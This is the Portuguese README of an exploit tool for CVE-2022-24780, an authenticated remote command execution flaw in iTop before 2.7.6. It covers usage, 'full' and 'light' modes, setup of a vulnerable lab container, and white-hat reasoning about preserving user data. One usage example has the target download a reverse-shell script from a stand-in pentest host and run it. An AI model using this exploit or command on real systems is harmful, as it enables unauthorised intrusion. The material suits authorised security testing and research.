acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Autenticado) Execução remota de comandos
iTop < 2.7.6 - Execução remota de comandos (autenticada)
Exploit para [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - Execução remota de comandos (autenticada)
Uso:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: explora com um navegador emulado, executa JavaScript, preserva informações originais do perfil do usuário
light: apenas analisa HTML e envia requisições, sem JavaScript, (DESTRUTIVO) redefine informações do usuário: telefone, localização, função
Opções:
<url> URL raiz (caminho base) incluindo esquema HTTP, porta e pasta raiz
<username> Nome de usuário do portal iTop
<password> Senha do usuário do portal iTop
<cmd> Comando a ser executado no alvo
--debug Exibe argumentos
-h, --help Mostra esta tela
Exemplos:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
O sabor full do exploit usa Watir com um navegador web dirigido por Selenium para emular a navegação de um usuário. Isso é necessário para preservar as informações do usuário. O exploit injeta um payload SSTI em uma subparte do formulário usado para modificar informações do usuário no perfil do portal. Embora alguns valores possam ser hardcoded ou recuperados do HTML, outros (telefone, localização, função) são carregados dinamicamente via JavaScript e injetados no HTML. Portanto, para que o exploit não seja destrutivo, é necessário executar JavaScript para conseguir recuperar esses valores.
O sabor light do exploit não se importa tanto e irá definir destrutivamente um valor nulo para alguns campos de informação do usuário (telefone, localização, função). No entanto, este sabor é mais rápido de executar, requer menos dependências, não executa JavaScript e não precisa de um ambiente X (Watir precisa para executar o navegador).
Resumo: instale tudo com bundle install
Sabor full
Exemplo usando gem:
gem install httpx docopt watir webdrivers
Sabor light
Exemplo usando gem:
gem install httpx docopt nokogiri
Não é recomendado usar payloads com aspas duplas (") nem barras invertidas (\) porque o payload é injetado em JSON.
Aviso: este contêiner não é adequado para uso em produção!
Usando vbkunin/itop:2.7.4 - fonte - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
A vulnerabilidade foi encontrada por Markus KRELL.
Análise da vulnerabilidade pelo descobridor:
A ACCEIS não promove ou incentiva qualquer atividade ilegal; todo o conteúdo fornecido por este repositório é destinado apenas para fins de pesquisa, educacionais e de detecção de ameaças.
Como auditor de segurança (ou qualquer outro papel de chapéu branco), por um lado você quer executar um script de exploit para verificar a exploração prática efetiva da vulnerabilidade teórica com base no número da versão da aplicação que identificou, mas por outro lado, quer que seja feito corretamente, sem qualquer ação destrutiva, para que a aplicação do cliente seja deixada no mesmo estado em que a descobriu.
Por exemplo, este exploit ocorre na página de perfil do usuário, então há um formulário com informações do usuário que já estão preenchidas: nome, sobrenome, ID da organização, e-mail, telefone, ID da localização, função, ID do gerente. Para que o ataque funcione, você só precisa sobrescrever os campos vulneráveis e preencher outros com valores nulos ou aleatórios se forem obrigatórios. É isso que o sabor light do exploit faz. Mas ao fazer isso, você destruirá as informações reais daquele usuário; não é problemático em um ambiente de teste, mas é um problema real se você estiver em um ambiente de produção. Um chapéu preto não se importará com isso, mas como um chapéu branco, temos que preservar os dados. Então a solução é buscar os dados reais e reutilizá-los em nossa requisição POST.
Em aplicações web clássicas, muitas vezes você só precisa criar diretamente uma requisição POST com os parâmetros certos direcionados ao endpoint vulnerável. Às vezes é necessário lidar com sessão / cookies, redirecionamentos, alguns estados anteriores que podem ser necessários, buscar alguns IDs ou tokens anti-CSRF, mas tudo isso continua muito direto e pode ser alcançado com praticamente qualquer biblioteca HTTP em qualquer linguagem.
Para recuperar os dados reais, quando os dados do formulário vêm:
Começa a ser um pouco mais complicado em algumas aplicações web modernas onde muitos valores são definidos a partir de manipulações complexas de JavaScript. Aqui você não pode simplesmente analisar HTML ou requisitar uma API REST, também não pode recuperar o valor diretamente de um arquivo JavaScript ou analisar várias linhas e recomputar um valor. Quando a computação JS é tão complexa, acontece em muitos arquivos JS diferentes ou o código-fonte JavaScript é ofuscado ou empacotado, exigiria muito esforço e tempo para fazer engenharia reversa do mecanismo e extrair o valor. Nesse caso, você realmente precisa interagir com o JavaScript da aplicação. Mas um script de exploit clássico que requer apenas uma biblioteca HTTP não pode fazer isso (sozinho)!